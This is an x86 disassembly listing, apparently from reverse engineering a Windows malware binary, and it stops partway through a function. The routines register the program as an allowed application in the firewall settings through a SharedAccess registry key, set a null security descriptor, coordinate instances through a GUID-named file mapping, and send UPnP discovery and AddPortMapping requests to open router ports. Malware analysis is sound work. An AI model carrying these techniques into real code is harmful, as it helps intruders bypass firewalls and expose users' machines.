loc_443017: ; CODE XREF: sub_443004+2Fj
mov eax, [esp+0Ch+arg_4]
cmp [esi+4], eax
jnz short loc_44302C
test bx, bx
jz short loc_44302A
cmp [esi], bx
jnz short loc_44302C
loc_44302A: ; CODE XREF: sub_443004+1Fj
jmp short loc_443035
; ---------------------------------------------------------------------------
loc_44302C: ; CODE XREF: sub_443004+1Aj
; sub_443004+24j
mov edi, esi
mov esi, [esi+8]
loc_443031: ; CODE XREF: sub_443004+11j
test esi, esi
jnz short loc_443017
loc_443035: ; CODE XREF: sub_443004:loc_44302Aj
test esi, esi
jnz short loc_44303D
xor eax, eax
jmp short loc_443083
; ---------------------------------------------------------------------------
loc_44303D: ; CODE XREF: sub_443004+33j
test edi, edi
jz short loc_443057
mov eax, [esp+0Ch+arg_0]
cmp esi, [eax]
jnz short loc_44304F
mov edx, [esp+0Ch+arg_0]
mov [edx], edi
loc_44304F: ; CODE XREF: sub_443004+43j
mov eax, [esi+8]
mov [edi+8], eax
jmp short loc_443072
; ---------------------------------------------------------------------------
loc_443057: ; CODE XREF: sub_443004+3Bj
mov edx, [esp+0Ch+arg_0]
mov eax, [esi+8]
mov [edx+4], eax
mov eax, [esp+0Ch+arg_0]
cmp dword ptr [eax+4], 0
jnz short loc_443072
mov edx, [esp+0Ch+arg_0]
and dword ptr [edx], 0
loc_443072: ; CODE XREF: sub_443004+51j
; sub_443004+65j
mov eax, [esp+0Ch+arg_0]
dec dword ptr [eax+8]
push esi
call sub_441FF7
pop ecx
xor eax, eax
inc eax
loc_443083: ; CODE XREF: sub_443004+37j
pop edi
pop esi
pop ebx
retn
sub_443004 endp
; =============== S U B R O U T I N E =======================================
sub_443087 proc near ; CODE XREF: DMN1:00443146p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
mov ebx, [esp+0Ch+arg_8]
xor edi, edi
mov eax, [esp+0Ch+arg_0]
mov esi, [eax+4]
jmp short loc_4430A9
; ---------------------------------------------------------------------------
loc_443099: ; CODE XREF: sub_443087+24j
mov eax, [esp+0Ch+arg_4]
sub eax, [esi+10h]
cmp eax, ebx
jnb short loc_4430AD
mov edi, esi
mov esi, [esi+8]
loc_4430A9: ; CODE XREF: sub_443087+10j
test esi, esi
jnz short loc_443099
loc_4430AD: ; CODE XREF: sub_443087+1Bj
test esi, esi
jnz short loc_4430B5
xor eax, eax
jmp short loc_4430FB
; ---------------------------------------------------------------------------
loc_4430B5: ; CODE XREF: sub_443087+28j
test edi, edi
jz short loc_4430CF
mov eax, [esp+0Ch+arg_0]
cmp esi, [eax]
jnz short loc_4430C7
mov edx, [esp+0Ch+arg_0]
mov [edx], edi
loc_4430C7: ; CODE XREF: sub_443087+38j
mov eax, [esi+8]
mov [edi+8], eax
jmp short loc_4430EA
; ---------------------------------------------------------------------------
loc_4430CF: ; CODE XREF: sub_443087+30j
mov edx, [esp+0Ch+arg_0]
mov eax, [esi+8]
mov [edx+4], eax
mov eax, [esp+0Ch+arg_0]
cmp dword ptr [eax+4], 0
jnz short loc_4430EA
mov edx, [esp+0Ch+arg_0]
and dword ptr [edx], 0
loc_4430EA: ; CODE XREF: sub_443087+46j
; sub_443087+5Aj
mov eax, [esp+0Ch+arg_0]
dec dword ptr [eax+8]
push esi
call sub_441FF7
pop ecx
xor eax, eax
inc eax
loc_4430FB: ; CODE XREF: sub_443087+2Cj
pop edi
pop esi
pop ebx
retn
sub_443087 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, [ebp+0Ch]
mov si, [ebp+10h]
xor edi, edi
jmp short loc_443113
; ---------------------------------------------------------------------------
loc_443110: ; CODE XREF: DMN1:00443125j
xor edi, edi
inc edi
loc_443113: ; CODE XREF: DMN1:0044310Ej
movzx eax, si
push eax
push ebx
push dword ptr [ebp+8]
call sub_443004
add esp, 0Ch
test eax, eax
jnz short loc_443110
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, [ebp+0Ch]
mov esi, [ebp+10h]
xor edi, edi
jmp short loc_443141
; ---------------------------------------------------------------------------
loc_44313E: ; CODE XREF: DMN1:00443150j
xor edi, edi
inc edi
loc_443141: ; CODE XREF: DMN1:0044313Cj
push esi
push ebx
push dword ptr [ebp+8]
call sub_443087
add esp, 0Ch
test eax, eax
jnz short loc_44313E
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
push ebx
push esi
mov ebx, [esp+0Ch]
push ebx
call sub_442F1C
pop ecx
mov eax, [esp+10h]
mov esi, [eax+4]
jmp short loc_443182
; ---------------------------------------------------------------------------
loc_44316F: ; CODE XREF: DMN1:00443184j
movzx eax, word ptr [esi]
push eax
push dword ptr [esi+4]
push ebx
call sub_442FCA
add esp, 0Ch
mov esi, [esi+8]
loc_443182: ; CODE XREF: DMN1:0044316Dj
test esi, esi
jnz short loc_44316F
pop esi
pop ebx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_443189 proc near ; CODE XREF: sub_443217+98p
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
push [ebp+arg_4]
push [ebp+arg_0]
call dword_411E24 ; RegCreateKeyExA
test eax, eax
jnz short loc_4431DB
push [ebp+arg_C]
call sub_4485D1
pop ecx
inc eax
push eax
push [ebp+arg_C]
push 1
push 0
push [ebp+arg_8]
push [ebp+var_4]
call dword_411E28 ; RegSetValueExA
push [ebp+var_4]
call dword_411E2C ; RegCloseKey
loc_4431DB: ; CODE XREF: sub_443189+29j
mov esp, ebp
pop ebp
retn
sub_443189 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4431DF proc near ; CODE XREF: DMN1:004432FEp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push eax
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push 0
push [ebp+arg_4]
push [ebp+arg_0]
call dword_411E30 ; RegOpenKeyExA
test eax, eax
jnz short loc_443213
push [ebp+arg_8]
push [ebp+var_4]
call dword_411E34 ; RegDeleteKeyA
push [ebp+var_4]
call dword_411E2C ; RegCloseKey
loc_443213: ; CODE XREF: sub_4431DF+1Dj
mov esp, ebp
pop ebp
retn
sub_4431DF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_443217 proc near ; CODE XREF: sub_447672:loc_4478A3p
var_20A = byte ptr -20Ah
var_105 = byte ptr -105h
push ebp
mov ebp, esp
sub esp, 20Ch
push ebx
push 104h
lea eax, [ebp+var_105]
push eax
push 0
call dword_411CDC ; GetModuleFileNameA
mov ebx, eax
mov [ebp+ebx+var_105], 0
cmp [ebp+var_105], 0
jz short loc_4432B7
lea eax, [ebp+var_105]
push eax
lea eax, [ebp+var_20A]
push eax
call sub_4485F1
pop ecx
pop ecx
push dword_4128A4
lea eax, [ebp+var_105]
push eax
call sub_448611
pop ecx
pop ecx
push offset aEnabled ; ":*:Enabled:"
lea eax, [ebp+var_105]
push eax
call sub_448611
pop ecx
pop ecx
push offset aNts ; "NTS"
lea eax, [ebp+var_105]
push eax
call sub_448611
pop ecx
pop ecx
lea eax, [ebp+var_105]
push eax
lea eax, [ebp+var_20A]
push eax
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"...
push 80000002h
call sub_443189
add esp, 10h
loc_4432B7: ; CODE XREF: sub_443217+2Fj
pop ebx
mov esp, ebp
pop ebp
retn
sub_443217 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 108h
push ebx
push 104h
lea eax, [ebp-105h]
push eax
push 0
call dword_411CDC ; GetModuleFileNameA
mov ebx, eax
mov byte ptr [ebp+ebx-105h], 0
cmp byte ptr [ebp-105h], 0
jz short loc_443306
lea eax, [ebp-105h]
push eax
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"...
push 80000002h
call sub_4431DF
add esp, 0Ch
loc_443306: ; CODE XREF: DMN1:004432EBj
pop ebx
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44330B proc near ; CODE XREF: sub_44335D+2p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
cmp dword_411008, 0
jnz short loc_443358
push 14h
push 40h
call dword_411CE0 ; LocalAlloc
mov ebx, eax
push 1
push ebx
call dword_411E38 ; InitializeSecurityDescriptor
push 0
push 0
push 1
push ebx
call dword_411E3C ; SetSecurityDescriptorDacl
mov [ebp+var_C], 0Ch
mov [ebp+var_8], ebx
mov [ebp+var_4], 1
mov dword_411008, 1
loc_443358: ; CODE XREF: sub_44330B+Ej
pop ebx
mov esp, ebp
pop ebp
retn
sub_44330B endp
; =============== S U B R O U T I N E =======================================
sub_44335D proc near ; CODE XREF: DMN1:00444C3Fp
; sub_447672+23Fp
arg_0 = word ptr 4
arg_4 = word ptr 8
push ebx
push esi
call sub_44330B
push offset a6ea9b038C8014f ; "{6EA9B038-C801-4F76-805F-E41ACF9ED165}"
push 100h
push 0
push 4
push offset dword_412928
push 0FFFFFFFFh
call dword_411CE4 ; CreateFileMappingA
mov ebx, eax
test eax, eax
jz short loc_4433C7
call dword_411CE8 ; RtlGetLastWin32Error
cmp eax, 0B7h
jz short loc_4433C5
push 20h
push 0
push 0
push 0F001Fh
push ebx
call dword_411CEC ; MapViewOfFile
mov esi, eax
test esi, esi
jz short loc_4433C5
mov ax, [esp+8+arg_0]
mov [esi], ax
mov ax, [esp+8+arg_4]
mov [esi+2], ax
push esi
call dword_411CF0 ; UnmapViewOfFile
loc_4433C5: ; CODE XREF: sub_44335D+36j
; sub_44335D+4Ej
mov eax, ebx
loc_4433C7: ; CODE XREF: sub_44335D+29j
pop esi
pop ebx
retn
sub_44335D endp
; =============== S U B R O U T I N E =======================================
sub_4433CA proc near ; CODE XREF: DMN1:00444C5Bp
arg_0 = word ptr 4
arg_4 = word ptr 8
push ebx
push esi
push edi
xor edi, edi
push offset a6ea9b038C8014f ; "{6EA9B038-C801-4F76-805F-E41ACF9ED165}"
push 0
push 0F001Fh
call dword_411CF4 ; OpenFileMappingA
mov ebx, eax
test eax, eax
jz short loc_443423
push 20h
push 0
push 0
push 0F001Fh
push ebx
call dword_411CEC ; MapViewOfFile
mov esi, eax
test esi, esi
jz short loc_44341A
mov ax, [esp+0Ch+arg_0]
mov [esi], ax
mov ax, [esp+0Ch+arg_4]
mov [esi+2], ax
push esi
call dword_411CF0 ; UnmapViewOfFile
xor edi, edi
inc edi
loc_44341A: ; CODE XREF: sub_4433CA+33j
push ebx
call dword_411CF8 ; CloseHandle
mov eax, edi
loc_443423: ; CODE XREF: sub_4433CA+1Bj
pop edi
pop esi
pop ebx
retn
sub_4433CA endp
; =============== S U B R O U T I N E =======================================
sub_443427 proc near ; CODE XREF: DMN1:0044590Bp
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor si, si
push offset a6ea9b038C8014f ; "{6EA9B038-C801-4F76-805F-E41ACF9ED165}"
push 0
push 0F001Fh
call dword_411CF4 ; OpenFileMappingA
mov ebx, eax
test ebx, ebx
jnz short loc_44344C
mov eax, 0FFFFh
jmp short loc_44348E
; ---------------------------------------------------------------------------
loc_44344C: ; CODE XREF: sub_443427+1Cj
push 20h
push 0
push 0
push 0F001Fh
push ebx
call dword_411CEC ; MapViewOfFile
mov edi, eax
test edi, edi
jz short loc_443484
mov si, [edi]
test si, si
jz short loc_443479
mov edx, [esp+0Ch+arg_0]
mov ax, [edi+2]
mov [edx], ax
jmp short loc_44347D
; ---------------------------------------------------------------------------
loc_443479: ; CODE XREF: sub_443427+43j
mov si, 0FFFFh
loc_44347D: ; CODE XREF: sub_443427+50j
push edi
call dword_411CF0 ; UnmapViewOfFile
loc_443484: ; CODE XREF: sub_443427+3Bj
push ebx
call dword_411CF8 ; CloseHandle
movzx eax, si
loc_44348E: ; CODE XREF: sub_443427+23j
pop edi
pop esi
pop ebx
retn
sub_443427 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_443492 proc near ; CODE XREF: sub_44352A+2Dp
; sub_443A83+23Cp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push eax
push ebx
push esi
push edi
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
mov esi, [ebp+arg_0]
push esi
call sub_4485D1
pop ecx
mov edi, eax
push [ebp+var_4]
call sub_4485D1
pop ecx
mov ebx, eax
jmp short loc_4434D6
; ---------------------------------------------------------------------------
loc_4434B8: ; CODE XREF: sub_443492+46j
push ebx
push [ebp+var_4]
push ebx
push esi
push 1
push 400h
call dword_411CFC ; CompareStringA
cmp eax, 2
jnz short loc_4434D4
mov eax, esi
jmp short loc_4434DC
; ---------------------------------------------------------------------------
loc_4434D4: ; CODE XREF: sub_443492+3Cj
inc esi
dec edi
loc_4434D6: ; CODE XREF: sub_443492+24j
cmp edi, ebx
jge short loc_4434B8
xor eax, eax
loc_4434DC: ; CODE XREF: sub_443492+40j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_443492 endp
; =============== S U B R O U T I N E =======================================
sub_4434E3 proc near ; CODE XREF: sub_44352A+1C4p
; sub_443817+12Cp
arg_0 = dword ptr 4
push ebx
push esi
mov ebx, [esp+8+arg_0]
call dword_411CC4 ; GetTickCount
lea esi, [eax+7D0h]
loc_4434F5: ; CODE XREF: sub_4434E3+40j
push ebx
call sub_4424C3
pop ecx
test eax, eax
jle short loc_443505
xor eax, eax
inc eax
jmp short loc_443527
; ---------------------------------------------------------------------------
loc_443505: ; CODE XREF: sub_4434E3+1Bj
push offset a_ ; "."
call sub_4481E1
pop ecx
push 12Ch
call dword_411D00 ; Sleep
call dword_411CC4 ; GetTickCount
cmp eax, esi
jb short loc_4434F5
xor eax, eax
loc_443527: ; CODE XREF: sub_4434E3+20j
pop esi
pop ebx
retn
sub_4434E3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44352A proc near ; CODE XREF: sub_443A83+337p
var_468 = dword ptr -468h
var_464 = dword ptr -464h
var_460 = dword ptr -460h
var_45C = byte ptr -45Ch
var_5C = word ptr -5Ch
var_5A = word ptr -5Ah
var_58 = dword ptr -58h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = byte ptr -40h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 468h
push ebx
push esi
push edi
push 10h
push 0
lea eax, [ebp+var_5C]
push eax
call sub_448551
add esp, 0Ch
mov [ebp+var_5C], 2
xor di, di
push offset aHttp ; "http://"
push [ebp+arg_0]
call sub_443492
pop ecx
pop ecx
mov ebx, eax
test ebx, ebx
jnz short loc_44356C
xor eax, eax
jmp loc_443810
; ---------------------------------------------------------------------------
loc_44356B: ; CODE XREF: sub_44352A+4Aj
inc ebx
loc_44356C: ; CODE XREF: sub_44352A+38j
mov al, [ebx]
test al, al
jz short loc_443576
cmp al, 2Fh
jnz short loc_44356B
loc_443576: ; CODE XREF: sub_44352A+46j
jmp short loc_443579
; ---------------------------------------------------------------------------
loc_443578: ; CODE XREF: sub_44352A+57j
inc ebx
loc_443579: ; CODE XREF: sub_44352A:loc_443576j
mov al, [ebx]
test al, al
jz short loc_443583
cmp al, 2Fh
jz short loc_443578
loc_443583: ; CODE XREF: sub_44352A+53j
xor esi, esi
jmp short loc_44359B
; ---------------------------------------------------------------------------
loc_443587: ; CODE XREF: sub_44352A+7Dj
cmp esi, 3Fh
jb short loc_443593
xor eax, eax
jmp loc_443810
; ---------------------------------------------------------------------------
loc_443593: ; CODE XREF: sub_44352A+60j
mov al, [ebx]
mov [ebp+esi+var_40], al
inc esi
inc ebx
loc_44359B: ; CODE XREF: sub_44352A+5Bj
mov al, [ebx]
test al, al
jz short loc_4435A9
cmp al, 3Ah
jz short loc_4435A9
cmp al, 2Fh
jnz short loc_443587
loc_4435A9: ; CODE XREF: sub_44352A+75j
; sub_44352A+79j
mov [ebp+esi+var_40], 0
cmp byte ptr [ebx], 3Ah
jz short loc_4435BA
xor eax, eax
jmp loc_443810
; ---------------------------------------------------------------------------
loc_4435BA: ; CODE XREF: sub_44352A+87j
inc ebx
cmp byte ptr [ebx], 0
jnz short loc_4435E1
xor eax, eax
jmp loc_443810
; ---------------------------------------------------------------------------
loc_4435C7: ; CODE XREF: sub_44352A+C3j
movzx eax, di
lea eax, [eax+eax*4]
add eax, eax
mov di, ax
movzx eax, di
movsx edx, byte ptr [ebx]
sub edx, 30h
add eax, edx
mov di, ax
inc ebx
loc_4435E1: ; CODE XREF: sub_44352A+94j
mov al, [ebx]
test al, al
jz short loc_4435EF
cmp al, 30h
jl short loc_4435EF
cmp al, 39h
jle short loc_4435C7
loc_4435EF: ; CODE XREF: sub_44352A+BBj
; sub_44352A+BFj
cmp di, 1
jnb short loc_4435FD
xor eax, eax
jmp loc_443810
; ---------------------------------------------------------------------------
loc_4435FC: ; CODE XREF: sub_44352A+DBj
inc ebx
loc_4435FD: ; CODE XREF: sub_44352A+C9j
mov al, [ebx]
test al, al
jz short loc_443607
cmp al, 2Fh
jnz short loc_4435FC
loc_443607: ; CODE XREF: sub_44352A+D7j
cmp byte ptr [ebx], 0
jnz short loc_443613
xor eax, eax
jmp loc_443810
; ---------------------------------------------------------------------------
loc_443613: ; CODE XREF: sub_44352A+E0j
lea eax, [ebp+var_40]
push eax
call sub_447C89 ; inet_addr
mov [ebp+var_58], eax
movzx eax, di
push eax
call sub_447C59 ; htons
mov [ebp+var_5A], ax
movzx eax, di
push eax
lea eax, [ebp+var_40]
push eax
push offset aHttpDiscoveryR ; "HTTP discovery request: [%s:%i]...\n"
call sub_4481E1
add esp, 0Ch
push 6
push 1
push 2
call sub_447C3B ; socket
mov [ebp+var_44], eax
cmp eax, 0FFFFFFFFh
jnz short loc_44365A
and [ebp+var_44], 0
loc_44365A: ; CODE XREF: sub_44352A+12Aj
cmp [ebp+var_44], 0
jnz short loc_443667
xor eax, eax
jmp loc_443810
; ---------------------------------------------------------------------------
loc_443667: ; CODE XREF: sub_44352A+134j
lea eax, [ebp+var_40]
push eax
call sub_447C89 ; inet_addr
movzx edx, di
push edx
push eax
push [ebp+var_44]
call sub_4424E8
add esp, 0Ch
test eax, eax
jnz short loc_443694
push [ebp+var_44]
call sub_442443
pop ecx
xor eax, eax
jmp loc_443810
; ---------------------------------------------------------------------------
loc_443694: ; CODE XREF: sub_44352A+158j
movzx eax, di
push eax
lea eax, [ebp+var_40]
push eax
push ebx
push offset aGetSHttp1_1Hos ; "GET %s HTTP/1.1\r\nHOST: %s:%i\r\nACCEPT-LA"...
lea eax, [ebp+var_45C]
push eax
call sub_448241
add esp, 14h
lea eax, [ebp+var_45C]
push eax
call sub_4485D1
pop ecx
mov [ebp+var_48], eax
push [ebp+var_48]
lea eax, [ebp+var_45C]
push eax
push [ebp+var_44]
call sub_442708
add esp, 0Ch
cmp eax, [ebp+var_48]
jz short loc_4436EB
push [ebp+var_44]
call sub_442443
pop ecx
xor eax, eax
jmp loc_443810
; ---------------------------------------------------------------------------
loc_4436EB: ; CODE XREF: sub_44352A+1AFj
push [ebp+var_44]
call sub_4434E3
pop ecx
push 10000h
call sub_441FC9
pop ecx
mov [ebp+var_4C], eax
push 0FFFFh
push [ebp+var_4C]
push [ebp+var_44]
call sub_442694
add esp, 0Ch
mov [ebp+var_48], eax
test eax, eax
jnz short loc_443753
push [ebp+var_44]
call sub_4424C3
pop ecx
mov [ebp+var_468], eax
cmp eax, 0FFFFh
jle short loc_44373C
mov [ebp+var_468], 0FFFFh
loc_44373C: ; CODE XREF: sub_44352A+206j
push [ebp+var_468]
push [ebp+var_4C]
push [ebp+var_44]
call sub_44265D
add esp, 0Ch
mov [ebp+var_48], eax
loc_443753: ; CODE XREF: sub_44352A+1F0j
push [ebp+var_48]
movzx eax, di
push eax
lea eax, [ebp+var_40]
push eax
push offset aHttpDiscover_0 ; "HTTP discovery request [%s:%i]: receive"...
call sub_4481E1
add esp, 10h
cmp [ebp+var_48], 1
jge short loc_44378A
push [ebp+var_4C]
call sub_441FF7
pop ecx
push [ebp+var_44]
call sub_442443
pop ecx
xor eax, eax
jmp loc_443810
; ---------------------------------------------------------------------------
loc_44378A: ; CODE XREF: sub_44352A+245j
push offset asc_40F5F0 ; "\n"
push [ebp+var_4C]
call sub_448641
pop ecx
pop ecx
mov [ebp+var_460], eax
test eax, eax
jnz short loc_4437B9
push [ebp+var_4C]
call sub_441FF7
pop ecx
push [ebp+var_44]
call sub_442443
pop ecx
xor eax, eax
jmp short loc_443810
; ---------------------------------------------------------------------------
loc_4437B9: ; CODE XREF: sub_44352A+277j
push offset a200 ; "200"
push [ebp+var_4C]
call sub_448641
pop ecx
pop ecx
mov [ebp+var_464], eax
test eax, eax
jz short loc_4437DA
cmp eax, [ebp+var_460]
jbe short loc_4437F0
loc_4437DA: ; CODE XREF: sub_44352A+2A6j
push [ebp+var_4C]
call sub_441FF7
pop ecx
push [ebp+var_44]
call sub_442443
pop ecx
xor eax, eax
jmp short loc_443810
; ---------------------------------------------------------------------------
loc_4437F0: ; CODE XREF: sub_44352A+2AEj
push [ebp+var_44]
call sub_442443
pop ecx
lea eax, [ebp+var_40]
push eax
push [ebp+arg_4]
call sub_4485F1
pop ecx
pop ecx
mov edx, [ebp+arg_8]
mov [edx], di
mov eax, [ebp+var_4C]
loc_443810: ; CODE XREF: sub_44352A+3Cj
; sub_44352A+64j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44352A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_443817 proc near ; CODE XREF: sub_443A83+50Fp
; sub_443A83+53Dp
var_2014 = dword ptr -2014h
var_2010 = dword ptr -2010h
var_200C = dword ptr -200Ch
var_2008 = byte ptr -2008h
var_1008 = byte ptr -1008h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = word ptr 10h
arg_C = dword ptr 14h
arg_10 = word ptr 18h
arg_14 = word ptr 1Ch
push ebp
mov ebp, esp
mov eax, 2014h
call sub_4486B1
push ebx
push esi
push edi
movzx eax, [ebp+arg_10]
push eax
movzx eax, [ebp+arg_14]
push eax
push offset aSEnvelopeXmlns ; "<s:Envelope\r\nxmlns:s=\"http://schemas.xm"...
lea eax, [ebp+var_2008]
push eax
call sub_448241
add esp, 10h
lea eax, [ebp+var_2008]
push eax
call sub_4485D1
pop ecx
mov [ebp+var_200C], eax
cmp [ebp+arg_0], 0
jz short loc_443885
push [ebp+var_200C]
movzx eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_C]
push offset aMPostSHttp1_1H ; "M-POST %s HTTP/1.1\r\nHOST: %s:%i\r\nCONTEN"...
lea eax, [ebp+var_1008]
push eax
call sub_448241
add esp, 18h
jmp short loc_4438AA
; ---------------------------------------------------------------------------
loc_443885: ; CODE XREF: sub_443817+45j
push [ebp+var_200C]
movzx eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_C]
push offset aPostSHttp1_1Ho ; "POST %s HTTP/1.1\r\nHOST: %s:%i\r\nCONTENT-"...
lea eax, [ebp+var_1008]
push eax
call sub_448241
add esp, 18h
loc_4438AA: ; CODE XREF: sub_443817+6Cj
lea eax, [ebp+var_2008]
push eax
lea eax, [ebp+var_1008]
push eax
call sub_448611
pop ecx
pop ecx
movzx eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push offset aHttpAddmapRequ ; "HTTP AddMap request: [%s:%i]...\n"
call sub_4481E1
add esp, 0Ch
call sub_4422DA
mov edi, eax
test eax, eax
jz loc_443A7C
push [ebp+arg_4]
call sub_447C89 ; inet_addr
movzx edx, [ebp+arg_8]
push edx
push eax
push edi
call sub_4424E8
add esp, 0Ch
test eax, eax
jnz short loc_44390C
push edi
call sub_442443
pop ecx
xor eax, eax
jmp loc_443A7C
; ---------------------------------------------------------------------------
loc_44390C: ; CODE XREF: sub_443817+E5j
lea eax, [ebp+var_1008]
push eax
call sub_4485D1
pop ecx
mov [ebp+var_4], eax
push [ebp+var_4]
lea eax, [ebp+var_1008]
push eax
push edi
call sub_442708
add esp, 0Ch
cmp eax, [ebp+var_4]
jz short loc_443942
push edi
call sub_442443
pop ecx
xor eax, eax
jmp loc_443A7C
; ---------------------------------------------------------------------------
loc_443942: ; CODE XREF: sub_443817+11Bj
push edi
call sub_4434E3
pop ecx
push 10000h
call sub_441FC9
pop ecx
mov [ebp+var_8], eax
push 0FFFFh
push [ebp+var_8]
push edi
call sub_442694
add esp, 0Ch
mov [ebp+var_4], eax
test eax, eax
jnz short loc_4439A2
push edi
call sub_4424C3
pop ecx
mov [ebp+var_2014], eax
cmp eax, 0FFFFh
jle short loc_44398D
mov [ebp+var_2014], 0FFFFh
loc_44398D: ; CODE XREF: sub_443817+16Aj
push [ebp+var_2014]
push [ebp+var_8]
push edi
call sub_44265D
add esp, 0Ch
mov [ebp+var_4], eax
loc_4439A2: ; CODE XREF: sub_443817+156j
push [ebp+var_4]
movzx eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push offset aHttpAddmapRe_0 ; "HTTP AddMap request [%s:%i]: received: "...
call sub_4481E1
add esp, 10h
cmp [ebp+var_4], 1
jge short loc_4439D7
push [ebp+var_8]
call sub_441FF7
pop ecx
push edi
call sub_442443
pop ecx
xor eax, eax
jmp loc_443A7C
; ---------------------------------------------------------------------------
loc_4439D7: ; CODE XREF: sub_443817+1A7j
push offset asc_40F5F0 ; "\n"
push [ebp+var_8]
call sub_448641
pop ecx
pop ecx
mov [ebp+var_2010], eax
test eax, eax
jnz short loc_443A04
push [ebp+var_8]
call sub_441FF7
pop ecx
push edi
call sub_442443
pop ecx
xor eax, eax
jmp short loc_443A7C
; ---------------------------------------------------------------------------
loc_443A04: ; CODE XREF: sub_443817+1D7j
mov ebx, [ebp+var_8]
jmp short loc_443A0A
; ---------------------------------------------------------------------------
loc_443A09: ; CODE XREF: sub_443817+1FBj
inc ebx
loc_443A0A: ; CODE XREF: sub_443817+1F0j
mov al, [ebx]
test al, al
jz short loc_443A14
cmp al, 20h
jnz short loc_443A09
loc_443A14: ; CODE XREF: sub_443817+1F7j
jmp short loc_443A17
; ---------------------------------------------------------------------------
loc_443A16: ; CODE XREF: sub_443817+208j
inc ebx
loc_443A17: ; CODE XREF: sub_443817:loc_443A14j
mov al, [ebx]
test al, al
jz short loc_443A21
cmp al, 20h
jz short loc_443A16
loc_443A21: ; CODE XREF: sub_443817+204j
xor esi, esi
jmp short loc_443A35
; ---------------------------------------------------------------------------
loc_443A25: ; CODE XREF: sub_443817+22Aj
lea esi, [esi+esi*4]
add esi, esi
movsx eax, byte ptr [ebx]
sub eax, 30h
add esi, eax
inc ebx
jmp short loc_443A43
; ---------------------------------------------------------------------------
loc_443A35: ; CODE XREF: sub_443817+20Cj
mov al, [ebx]
test al, al
jz short loc_443A43
cmp al, 30h
jl short loc_443A43
cmp al, 39h
jle short loc_443A25
loc_443A43: ; CODE XREF: sub_443817+21Cj
; sub_443817+222j ...
push esi
movzx eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push offset aHttpAddmapRe_1 ; "HTTP AddMap request [%s:%i]: code: %i.."...
call sub_4481E1
add esp, 10h
cmp esi, 2
jz short loc_443A72
push [ebp+var_8]
call sub_441FF7
pop ecx
push edi
call sub_442443
pop ecx
xor eax, eax
jmp short loc_443A7C
; ---------------------------------------------------------------------------
loc_443A72: ; CODE XREF: sub_443817+245j
push edi
call sub_442443
pop ecx
xor eax, eax
inc eax
loc_443A7C: ; CODE XREF: sub_443817+C6j
; sub_443817+F0j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_443817 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_443A83 proc near ; CODE XREF: DMN1:00444557p
; DMN1:00445A38p
var_18A0 = dword ptr -18A0h
var_189C = byte ptr -189Ch
var_188C = dword ptr -188Ch
var_1888 = dword ptr -1888h
var_1884 = dword ptr -1884h
var_187E = byte ptr -187Eh
var_183E = word ptr -183Eh
var_183C = dword ptr -183Ch
var_1838 = dword ptr -1838h
var_1834 = dword ptr -1834h
var_1830 = dword ptr -1830h
var_182C = dword ptr -182Ch
var_1828 = dword ptr -1828h
var_1824 = dword ptr -1824h
var_1820 = dword ptr -1820h
var_181C = word ptr -181Ch
var_181A = word ptr -181Ah
var_1818 = dword ptr -1818h
var_1809 = byte ptr -1809h
var_1409 = byte ptr -1409h
var_408 = dword ptr -408h
var_404 = dword ptr -404h
var_400 = byte ptr -400h
arg_0 = word ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
mov eax, 18A0h
call sub_4486B1
push ebx
push esi
push edi
mov [ebp+var_1820], 3E8h
cmp [ebp+arg_0], 0
jnz short loc_443AAC
mov ax, [ebp+arg_4]
mov [ebp+arg_0], ax
loc_443AAC: ; CODE XREF: sub_443A83+1Fj
push 10h
push 0
lea eax, [ebp+var_181C]
push eax
call sub_448551
add esp, 0Ch
